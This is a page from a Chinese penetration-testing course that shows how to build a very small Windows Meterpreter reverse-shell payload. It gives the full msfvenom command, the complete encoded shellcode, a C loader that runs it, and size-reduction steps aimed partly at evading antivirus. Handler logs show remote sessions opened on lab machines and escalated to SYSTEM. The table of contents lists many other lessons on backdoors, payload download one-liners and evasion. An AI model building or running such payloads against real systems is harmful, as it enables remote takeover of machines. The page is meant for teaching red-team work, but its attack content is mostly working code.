Micro8
  • 前言
  • Preface
  • 目录
  • 第一章:生
    • 1-10课
      • 第一课:windows提权-快速查找exp
      • 第二课:Linux提权-依赖exp篇
      • 第三课:Delphi代码审计--项目实战1
      • 第四课:Asp代码审计--项目实战2
      • 第五课:工具介绍-Sqlmap
      • 第六课:反攻的一次溯源--项目实战3
      • 第七课:sql server 常用操作远程桌面语句
      • 第八课:模拟诉求任务攻击
      • 第九课:工具介绍-the-backdoor-factory
      • 第十课:msfvenom常用生成payload命令
    • 11-20课
      • 第十一课:工具介绍Veil-Evasion
      • 第十二课:基于UDP发现内网存活主机
      • 第十三课:基于ARP发现内网存活主机
      • 第十四课:基于第十课补充payload1
      • 第十五课:基于第十课补充payload2
      • 第十六课:红蓝对抗渗透测试1
      • 第十七课:红蓝对抗渗透测试2
      • 第十八课:红蓝对抗渗透测试3
      • 第十九课:基于netbios发现内网存活主机
      • 第二十课:基于snmp发现内网存活主机
    • 21-30课
      • 第二十一课:基于ICMP发现内网存活主机
      • 第二十二课:基于SMB发现内网存活主机
      • 第二十三课:基于MSF发现内网存活主机第一季
      • 第二十四课:基于MSF发现内网存活主机第二季
      • 第二十五课:基于MSF发现内网存活主机第三季
      • 第二十六课:基于MSF发现内网存活主机第四季
      • 第二十七课:基于MSF发现内网存活主机第五季
      • 第二十八课:基于MSF发现内网存活主机第六季
      • 第二十九课:发现目标WEB程序敏感目录第一季
      • 第三十课:解决msfvenom命令自动补全
    • 31-40课
      • 第三十一课:msf的前生今世
      • 第三十二课:配置vps上的msf
      • 第三十三课:攻击Mysql服务
      • 第三十四课:攻击Sql server 服务
      • 第三十五课:与Sqlmap结合攻击
      • 第三十六课:解决vps上ssh掉线
      • 第三十七课:vbs一句话下载payload
      • 第三十八课:certutil一句话下载payload
      • 第三十九课:vbs一句话下载payload补充
      • 第四十课:ftp一句话下载payload
    • 41-50课
      • 第四十一课:bitsadmin一句话下载payload
      • 第四十二课:攻击FTP服务
      • 第四十三课:js一句话下载payload
      • 第四十四课:ertutil一句话下载payload补充
      • 第四十五课:解决bat一句话下载payload黑窗
      • 第四十六课:powershell一句话下载payload
      • 第四十七课:payload分离免杀思路
      • 第四十八课:payload分离免杀思路第二季
      • 第四十九课:关于Powershell对抗安全软件
      • 第五十课:基于SqlDataSourceEnumerator发现内网存活主机
    • 51-60课
      • 第五十一课:项目回忆:体系的本质是知识点串联
      • 第五十二课:渗透的本质是信息搜集
      • 第五十三课:内网渗透中的文件传输
      • 第五十四课:基于Powershell做Socks 4-5代理
      • 第五十五课:与Smbmap结合攻击
      • 第五十六课:离线提取目标机hash
      • 第五十七课:高级持续渗透-第一季关于后门
      • 第五十八课:高级持续渗透-第二季关于后门补充一
      • 第五十九课:高级持续渗透-第三季关于后门补充二
      • 第六十课:高级持续渗透-第四季关于后门
    • 61-70课
      • 第六十一课:高级持续渗透-第五季关于后门
      • 第六十二课:高级持续渗透-第六季关于后门
      • 第六十三课:高级持续渗透-第七季demo的成长
      • 第六十四课:高级持续渗透-第八季demo便是远控
      • 第六十五课:离线提取目标机hash补充
      • 第六十六课:借助aspx对payload进行分离免杀
      • 第六十七课:meterpreter下的irb操作第一季
      • 第六十八课:基于Ruby内存加载shellcode第一季
      • 第六十九课:渗透,持续渗透,后渗透的本质
      • 第七十课:ftp一句话下载payload补充
    • 71-80课
      • 第七十一课:基于白名单Msbuild.exe执行payload第一季
      • 第七十二课:基于白名单Installutil.exe执行payload第二季
      • 第七十三课:基于白名单Regasm.exe执行payload第三季
      • 第七十四课:基于白名单Regsvcs.exe执行payload第四季
      • 第七十五课:基于白名单Mshta.exe执行payload第五季
      • 第七十六课:基于白名单Compiler.exe执行payload第六季
      • 第七十七课:基于白名单Csc.exe执行payload第七季
      • 第七十八课:基于白名单Msiexec执行payload第八季
      • 第七十九课:基于白名单Regsvr32执行payload第九季
      • 第八十课:基于白名单Wmic执行payload第十季
    • 81-90课
      • 第八十一课:基于白名单Rundll32.exe执行payload第十一季
      • 第八十二课:基于白名单Odbcconf执行payload第十二季
      • 第八十三课:基于白名单PsExec执行payload第十三季
      • 第八十四课:基于白名单Forfiles执行payload第十四季
      • 第八十五课:基于白名单Pcalua执行payload第十五季
      • 第八十六课:基于白名单Msiexec执行payload第八季补充
      • 第八十七课:基于白名单Cmstp.exe执行payload第十六季
      • 第八十八课:基于白名单Ftp.exe执行payload第十九季
      • 第八十九课:基于白名单Url.dll执行payload第十七季
      • 第九十课:基于白名单zipfldr.dll执行payload第十八季
    • 91-100课
      • 第九十一课:从目标文件中做信息搜集第一季
      • 第九十二课:实战中的Payload应用
      • 第九十三课:与CrackMapExec结合攻击
      • 第九十四课:基于实战中的small payload
      • 第九十五课:基于Portfwd端口转发
      • 第九十六课:HTTP隧道ABPTTS第一季
      • 第九十七课:MSF配置自定义Payload控制目标主机权限
      • 第九十八课:HTTP隧道reGeorg第二季
      • 第九十九课:HTTP隧道Tunna第三季
      • 第一百课:HTTP隧道reDuh第四季
  • 第二章:老(待更新...)
    • 第一百零一课:基于SCF做目标内网信息搜集第二季
    • 第一百零二课:对抗权限长期把控-伪造无效签名第一季
    • 第一百零三课:Http加密隧道下的横向渗透尝试---klion
    • 第一百零四课:Windows Smb 欺骗重放攻击利用---klion
    • 第一百零五课:windows 单机免杀抓明文或hash [通过dump lsass进程数据]---klion
    • 第一百零六课:windows 单机免杀抓明文或hash [通过简单混淆编码绕过常规静态检测]---klion
    • 第一百零七课:跨平台横向移动 [ windows计划任务利用 ]---klion
    • 第一百零八课:跨平台横向移动 [wmi利用]---klion
    • 第一百零九课:依托 metasploit 尽可能多的发现目标内网下的各类高价值存活主机---klion
    • 第一百一十课:窃取,伪造模拟各种windows访问令牌[token利用]---klion
    • 第一百一十一课:内网mssql完整利用流程 [ 基础篇 ]---klion
    • 第一百一十二课:利用Dropbox中转C2流量---klion
    • 第一百一十三课:COM Hijacking---倾旋
    • 第一百一十四课:渗透沉思录
    • 第一百一十五课:使用CrackMapExec 进行 NTLM Hash传递攻击---倾旋
    • 第一百一十六课:Windows域渗透 - 用户密码枚举---倾旋
    • 第一百一十七课:Windows 本地特权提升技巧---倾旋
    • 第一百一十八课:CVE-2017-11882钓鱼攻击---倾旋
    • 第一百一十九课:全平台高性能加密隧道 ssf---klion
    • 第一百二十课:win自带的高级网络配置管理工具深度应用 [ netsh ]---klion
    • 第一百二十一课:http加密代理深度应用 [ abptts ]---klion
    • 第一百二十二课:利用 ssh隧道实现内网断网机meterpreter反向上线---klion
    • 第一百二十三课:利用ssh隧道将公网meterpreter弹至本地的msf中---klion
  • 第三章:病(待更新...)
Powered by GitBook
On this page
  • 攻击机配置:
  • payload生成:
  • 第一次优化payload:
  • 源码如下:
  • 第一次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。
  • 第二次优化payload:
  • 第三次优化payload:
  • 第四次优化payload:

Was this helpful?

  1. 第一章:生
  2. 91-100课

第九十四课:基于实战中的small payload

注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。

攻击机: 192.168.1.5 Debian 靶机: 192.168.1.4 Windows 7 192.168.1.119 Windows 2003

攻击机配置:

payload:windows/meterpreter/reverse_tcp

msf exploit(multi/handler) > show options 

Module options (exploit/multi/handler): 

Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ 

Payload options (windows/meterpreter/reverse_tcp): 

Name Current Setting Required Description
‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)

LHOST 192.168.1.5 yes The listen address (an interface may be specified)

LPORT 53 yes The listen port 

Exploit target: 

Id Name
‐‐ ‐‐‐‐
0 Wildcard Target

msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.5:53

payload生成:

root@John:/tmp# msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 ‐b '\x00' ‐f exe > First.exe

原始payload大小如下: 73802字节,大概在72KB

root@John:/tmp# du ‐sb First.exe
73802 First.exe

第一次优化payload:

提取windows/meterpreter/reverse_tcp shellcode

root@John:/tmp# msfvenom ‐p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=53 ‐b '\x00' ‐f c
[‐] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[‐] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of c file: 1571 bytes
unsigned char buf[] =
"\\xd9\\xc3\\xba\\xa1\\x43\\xe5\\x72\\xd9\\x74\\x24\\xf4\\x5d\\x29\\xc9\\xb1"
"\\x56\\x31\\x55\\x18\\x03\\x55\\x18\\x83\\xc5\\xa5\\xa1\\x10\\x8e\\x4d\\xa7"
"\\xdb\\x6f\\x8d\\xc8\\x52\\x8a\\xbc\\xc8\\x01\\xde\\xee\\xf8\\x42\\xb2\\x02"
"\\x72\\x06\\x27\\x91\\xf6\\x8f\\x48\\x12\\xbc\\xe9\\x67\\xa3\\xed\\xca\\xe6"
"\\x27\\xec\\x1e\\xc9\\x16\\x3f\\x53\\x08\\x5f\\x22\\x9e\\x58\\x08\\x28\\x0d"
"\\x4d\\x3d\\x64\\x8e\\xe6\\x0d\\x68\\x96\\x1b\\xc5\\x8b\\xb7\\x8d\\x5e\\xd2"
"\\x17\\x2f\\xb3\\x6e\\x1e\\x37\\xd0\\x4b\\xe8\\xcc\\x22\\x27\\xeb\\x04\\x7b"
"\\xc8\\x40\\x69\\xb4\\x3b\\x98\\xad\\x72\\xa4\\xef\\xc7\\x81\\x59\\xe8\\x13"
"\\xf8\\x85\\x7d\\x80\\x5a\\x4d\\x25\\x6c\\x5b\\x82\\xb0\\xe7\\x57\\x6f\\xb6"
"\\xa0\\x7b\\x6e\\x1b\\xdb\\x87\\xfb\\x9a\\x0c\\x0e\\xbf\\xb8\\x88\\x4b\\x1b"
"\\xa0\\x89\\x31\\xca\\xdd\\xca\\x9a\\xb3\\x7b\\x80\\x36\\xa7\\xf1\\xcb\\x5e"
"\\x04\\x38\\xf4\\x9e\\x02\\x4b\\x87\\xac\\x8d\\xe7\\x0f\\x9c\\x46\\x2e\\xd7"
"\\x95\\x41\\xd1\\x07\\x1d\\x01\\x2f\\xa8\\x5d\\x0b\\xf4\\xfc\\x0d\\x23\\xdd"
"\\x7c\\xc6\\xb3\\xe2\\xa8\\x72\\xbe\\x74\\x93\\x2a\\xbf\\x81\\x7b\\x28\\xc0"
"\\x89\\x4e\\xa5\\x26\\xd9\\xe0\\xe5\\xf6\\x9a\\x50\\x45\\xa7\\x72\\xbb\\x4a"
"\\x98\\x63\\xc4\\x81\\xb1\\x0e\\x2b\\x7f\\xe9\\xa6\\xd2\\xda\\x61\\x56\\x1a"
"\\xf1\\x0f\\x58\\x90\\xf3\\xf0\\x17\\x51\\x76\\xe3\\x40\\x06\\x78\\xfb\\x90"
"\\xa3\\x78\\x91\\x94\\x65\\x2f\\x0d\\x97\\x50\\x07\\x92\\x68\\xb7\\x14\\xd5"
"\\x97\\x46\\x2c\\xad\\xae\\xdc\\x10\\xd9\\xce\\x30\\x90\\x19\\x99\\x5a\\x90"
"\\x71\\x7d\\x3f\\xc3\\x64\\x82\\xea\\x70\\x35\\x17\\x15\\x20\\xe9\\xb0\\x7d"
"\\xce\\xd4\\xf7\\x21\\x31\\x33\\x84\\x26\\xcd\\xc1\\xa3\\x8e\\xa5\\x39\\xf4"
"\\x2e\\x35\\x50\\xf4\\x7e\\x5d\\xaf\\xdb\\x71\\xad\\x50\\xf6\\xd9\\xa5\\xdb"
"\\x97\\xa8\\x54\\xdb\\xbd\\x6d\\xc8\\xdc\\x32\\xb6\\xfb\\xa7\\x3b\\x49\\xfc"
"\\x57\\x52\\x2e\\xfd\\x57\\x5a\\x50\\xc2\\x81\\x63\\x26\\x05\\x12\\xd0\\x39"
"\\x30\\x37\\x71\\xd0\\x3a\\x6b\\x81\\xf1";

建立Micropoor_small_payload工程,配置如下:

源码如下:

# include <windows.h>
int main(void)
{
char *shellcode = (char *)"Micropoor_shellcode"; 

DWORD Micropoor_shellcode;
BOOL ret = VirtualProtect(shellcode, strlen(shellcode),
PAGE_EXECUTE_READWRITE, &Micropoor_shellcode);
if (!ret) {
return EXIT_FAILURE;
}
((void(*)(void))shellcode)();
return EXIT_SUCCESS;
}

原始shellcode_payload大小如下: 75776字节

优化: 在优化的过程中,需要确保

  • 性能

  • 稳定性

  • 大小

  • 可塑性

  • 免杀性

第一次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。

msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.5:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 4 opened (192.168.1.5:53 ‐> 192.168.1.119:3887) at 2019‐01‐27 14:30:27 ‐0500

meterpreter > getuid
Server username: WIN03X64\Administrator
meterpreter >

第二次优化payload:

合并data to text,rdata to text 在次生成。

Section变化如下:

payload大小如下: 4096字节

第二次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。

msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.5:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 9 opened (192.168.1.5:53 ‐> 192.168.1.119:3891) at 2019‐01‐27 14:46:20 ‐0500

meterpreter > getuid
Server username: WIN03X64\Administrator
meterpreter > getpid
Current pid: 1232

第三次优化payload:

在00000E60起含有大部分000h,充填掉00,在次生成payload。

000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h,
....

payload大小如下:

3174字节

第三次靶机测试:分别测试Windows 2003,Windws 7,reverse OK。并且最终编译运行库依然为:/MT

msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.1.5:53
[*] Sending stage (179779 bytes) to 192.168.1.119
[*] Meterpreter session 11 opened (192.168.1.5:53 ‐> 192.168.1.119:3894) at 2019‐01‐27 14:56:30 ‐0500 6
meterpreter > getuid
Server username: WIN03X64\Administrator
meterpreter > getpid
Current pid: 3152
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

第四次优化payload:

.......

文中的前三次优化,三次生成,已满足大部分实战场景。当遇到更苛刻的实战场景,75776字节优化到3174字节,接下来的季中,会继续优化。

Micropoor

Previous第九十三课:与CrackMapExec结合攻击Next第九十五课:基于Portfwd端口转发

Last updated 6 years ago

Was this helpful?

非算法,故优化/01

无使用预编译头,故否

无需调试信息,故否

自定义入口点:execMicropoor_shellcode

再次编译:

payload大小如下: 4608字节

载入PEID